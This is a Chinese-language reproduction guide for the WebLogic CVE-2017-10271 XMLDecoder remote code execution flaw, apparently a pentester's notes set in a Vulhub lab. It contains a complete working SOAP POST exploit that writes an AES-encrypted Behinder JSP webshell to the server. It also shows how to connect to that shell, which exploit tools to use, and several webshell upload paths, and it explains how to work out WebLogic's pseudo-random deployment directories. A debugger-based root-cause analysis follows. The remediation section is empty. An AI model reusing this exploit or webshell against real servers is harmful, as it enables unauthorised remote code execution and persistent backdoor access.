跳转至

CVE-2017-10271(Weblogic WLS组件远程代码执行漏洞)

漏洞描述

Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。Oracle Weblogic Server的WLS Security组件对外提供WebService服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化远程命令执行漏洞。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。

影响版本

  • Oracle Weblogic Server 10.3.6.0.0
  • Oracle Weblogic Server 12.1.3.0.0
  • Oracle Weblogic Server 12.2.1.1.0
  • Oracle Weblogic Server 12.2.1.2.0

环境配置

  • Vulhub项目
  • Docker-compose启动

漏洞复现

漏洞存在验证

访问目标网站,如果出现以下页面地址说明可能存在漏洞:

Text Only
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

使用WeblogicScan工具进行扫描

Text Only
python3 WeblogicScan.py 192.168.40.129 7001

手工复现

Java Server Page
POC:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 1227

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
    <void method="println"><string>
    <![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

发送冰蝎的JSP马,注意Content-Type为text/xml

Text Only
http://192.168.40.129:7001/bea_wls_internal/shell.jsp

冰蝎连接Shell

工具/脚本复现

  • MSF
Text Only
search cve:2017-10271
  • searchsploit
Bash
searchsploit weblogic | grep wls

Bash
searchsploit -m 43458
  • WeblogicExploit-GUI

Release WeblogicExploit-GUI · sp4zcmd/WeblogicExploit-GUI (github.com)

漏洞原理

XMLDecoder反序列化机制分析

XMLDecoder是JDK自带的处理XML文档的类库,和XMLEncoder组合起来可用于生成 JavaBean类的XML文本表示形式,使用方式也是和 ObjectOutputStream与 ObjectInputStream创建Serializable对象类似。

XMLDecoder功能相当丰富,可以对XML文档中表示的对象很方便的在内存反序列化为对象,当XML文档中存在方法调用的标签时,可以在反序列化的过程中以反射的形式自动执行,这个机制也给一些使用不当的程序带来了安全漏洞,如Weblogic相关的CVE( CVE-2017-3506、CVE-2019-2725)

查看XMLDecoder的官方文档(https://www.oracle.com/technical-resources/articles/java/persistence3.html),可以看到几个主要标签的使用说明。

object标签的使用相当于new一个新对象,其中的string标签为构造方法需要的参数。

XML
<object class="javax.swing.JButton">
  <string>Press me</string>
</object>

new JButton("Press me");

void标签的method属性可以在反序列化的过程中自动执行,其中的string标签为方法调用的参数。

XML
<object class="javax.swing.JButton">
  <string>Press me</string>
  <void method="setName">
    <string>Greeting</string>
  </void>
</object>

JButton button1 = new JButton("Press me");
button1.setName("Greeting");

array标签用来声明数组格式的对象,length属性为数组的长度,index属性为赋值的下标。

XML
<array class="java.lang.String" length="3">
  <void index="1">
    <string>Hello, world</string>
  </void>
</array>


String[] s = new String[3];
s[1] = "Hello, world";

反序列化命令执行过程

使用网上找到POC,其中object反序列化类为java.lang.ProcessBuilder,构造方法参数为calc(windows操作系统上的计算器程序),void标签声明了反序列化过程中调用的方法为start方法。

1643810854_61fa90262ee375f1e0b46.png!small?1643810854748

直接在ProcessBuilder的start方法上打断点,可以看到方法调用栈的调用链。

1643810861_61fa902dd59e3ffb2c2fe.png!small?1643810862449

在XMLDecoder类的readObject方法中进入parsingComplete方法。

1643810870_61fa9036400b2028b679c.png!small?1643810870749

在parsingComplete方法中进入DocumentHandler类的parse方法。

1643810876_61fa903cc01407e0f7fd2.png!small?1643810878701

在DocumentHandler类中声明了各种元素的处理器。

1643810885_61fa9045a51f8715a431f.png!small?1643810886233

之后打调用链大部分是对xml文件的解析和对象的生成,快进到DocumentHandler类的endElement方法,可以看到处理器实际的类型为VoidElementHandler。

1643810891_61fa904b7b498007b88ba.png!small?1643810892046

在ObjectElementHandler类的getValueObject方法中生成了Expression对象并执行getValue方法。

1643810897_61fa90515c9489c88cc4a.png!small?1643810897895

在getValue方法中发现invoke方法调用。

1643810902_61fa9056303c69ed123d8.png!small?1643810902711

一路跟踪到Statement类的invokeInternal方法可以看到其中调用了MethodUtil.invoke,并传入了start方法和ProcessBuilder对象,MethodUtil工具类会发射执行传入的方法。

1643810907_61fa905b299bd8d637bab.png!small?1643810907707

至此POC成功执行,总结下个人认为发生反序列化漏洞本身不是XMLDecoder的责任,它只是提供了这种程序执行的机制,安全措施应该由类库的使用者去负责。

1643810913_61fa90610fa652c85db24.png!small?1643810913716

参考文章:https://www.freebuf.com/articles/web/321222.html

关于Weblogic上传Shell目录

bea_wls_internal目录

上传目录绝对路径:

自己根据需要对照修改,命令执行的时候一般在目录sv0下

Text Only
E:\APP\Middleware\Oracle_Home\user_projects\domains\sv0\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\6位随机字符\war\shell.jsp

image-20220127091450615

web访问路径:

Text Only
/bea_wls_internal/shell.jsp

image-20220127091327651

console images目录

这个shell不是写在AdminServer下,需要能访问到console

上传目录绝对路径:

Text Only
E:\APP\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\

web访问路径:

Text Only
/console/framework/skins/wlsconsole/images/shell.jsp

uddiexplorer目录

和路径1类似,只不过这里是uddiexplorer罢了

上传目录绝对路径:

Text Only
E:\APP\Middleware\Oracle_Home\user_projects\domains\sv0\servers\AdminServer\tmp\_WL_internal\uddiexplorer\6位随机字符\war\shell.jsp

web访问路径:

Text Only
/uddiexplorer/shell.jsp

写入应用安装目录

上传目录绝对路径:

Text Only
E:\APP\Middleware\Oracle_Home\user_projects\domains\sv0\servers\AdminServer\tmp\_WL_user\项目名\6位随机字符\war\shell.jsp

web访问路径:

Text Only
/项目名/shell.jsp

shell无法访问

有时候上传的shell无法访问,大概率是因为端口不对,weblogic不同端口开放的server也不一样,找一找能访问的端口的server即可

主要查看weblogic的配置文件domains\sv0\config\config.xml

以Vulhub项目中的CVE-2017-20271环境为例

Bash
find /root/Oracle/ -name config.xml -type f
XML
<?xml version="1.0" encoding="UTF-8"?>
<domain xsi:schemaLocation="http://xmlns.oracle.com/weblogic/security/wls http://xmlns.oracle.com/weblogic/security/wls/1.0/wls.xsd http://xmlns.oracle.com/weblogic/domain http://xmlns.oracle.com/weblogic/1.0/domain.xsd http://xmlns.oracle.com/weblogic/security http://xmlns.oracle.com/weblogic/1.0/security.xsd http://xmlns.oracle.com/weblogic/security/xacml http://xmlns.oracle.com/weblogic/security/xacml/1.0/xacml.xsd" xmlns="http://xmlns.oracle.com/weblogic/domain" xmlns:sec="http://xmlns.oracle.com/weblogic/security" xmlns:wls="http://xmlns.oracle.com/weblogic/security/wls" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <name>base_domain</name>
  <domain-version>10.3.6.0</domain-version>
  <security-configuration xmlns:xacml="http://xmlns.oracle.com/weblogic/security/xacml" xmlns:pas="http://xmlns.oracle.com/weblogic/security/providers/passwordvalidator">
    <name>base_domain</name>
    <realm>
      <sec:authentication-provider xsi:type="wls:default-authenticatorType"/>
      <sec:authentication-provider xsi:type="wls:default-identity-asserterType">
        <sec:active-type>AuthenticatedUser</sec:active-type>
      </sec:authentication-provider>
      <sec:role-mapper xsi:type="xacml:xacml-role-mapperType"/>
      <sec:authorizer xsi:type="xacml:xacml-authorizerType"/>
      <sec:adjudicator xsi:type="wls:default-adjudicatorType"/>
      <sec:credential-mapper xsi:type="wls:default-credential-mapperType"/>
      <sec:cert-path-provider xsi:type="wls:web-logic-cert-path-providerType"/>
      <sec:cert-path-builder>WebLogicCertPathProvider</sec:cert-path-builder>
      <sec:name>myrealm</sec:name>
      <sec:password-validator xsi:type="pas:system-password-validatorType">
        <sec:name>SystemPasswordValidator</sec:name>
        <pas:min-password-length>8</pas:min-password-length>
        <pas:min-numeric-or-special-characters>1</pas:min-numeric-or-special-characters>
      </sec:password-validator>
    </realm>
    <default-realm>myrealm</default-realm>
    <credential-encrypted>{AES}VDHLmpIFsxhe5+CetHjC3Du768mgXgEeInws2SytpnqhqgWkdGFks2BYtSJzE3FrrjdLjKS9w24Krv0Ong11Bogvc8rPC6HC3eqZy8X5U8/jhzgwct+ZTRgagnYCb4zy</credential-encrypted>
    <node-manager-username>weblogic</node-manager-username>
    <node-manager-password-encrypted>{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=</node-manager-password-encrypted>
  </security-configuration>
  <server>
    <name>AdminServer</name>
    <listen-address/>
  </server>
  <embedded-ldap>
    <name>base_domain</name>
    <credential-encrypted>{AES}uikbk+R+r6Vqv3OiFGQ4XnxJAHEnqFuni3K+SlgZxAsWEyIvLEi+O2omKTsWD9GW</credential-encrypted>
  </embedded-ldap>
  <configuration-version>10.3.6.0</configuration-version>
  <admin-server-name>AdminServer</admin-server-name>
</domain>

如上配置只有AdminServer,所以我们写到AdminServer下都可以访问,如果配置了其他Server,则就需要根据端口开放情况写到其他的目录下

Text Only
E:\APP\Middleware\Oracle_Home\user_projects\domains\sv0\servers\其他Server

weblogic“伪随机”目录生成算法探究

我们在渗透测试过程中,可以很容易发现weblogic的 server name一旦被修改,其web应用有一个目录就会发生改变,导致我们在部署war拿shell时受阻。

比如bea_wls_internal这个weblogic自带web应用的web目录物理路径为:

Text Only
weblogic10.3.6.0\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war

PS:为了后面的讨论,这里统一下概念,域名为base_domain,server name为AdminServer,web应用名为bea_wls_internal,伪随机目录为9j4dqk。

这时如果server name修改为c0ny1的话,经过测试其伪随机目录会变成qn64ct,即该web应用物理路径变为:

Text Only
weblogic10.3.6.0\user_projects\domains\base_domain\servers\c0ny1\tmp\_WL_internal\bea_wls_internal\qn64ct\war

参考文章:https://gv7.me/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/

Tip

可见,我们复现时上传Webshell的目录也是有讲究的,对于不同的ServerName需要自已算一下随机字符

漏洞触发逻辑分析

参考文章:https://www.freebuf.com/vuls/303796.html

修复建议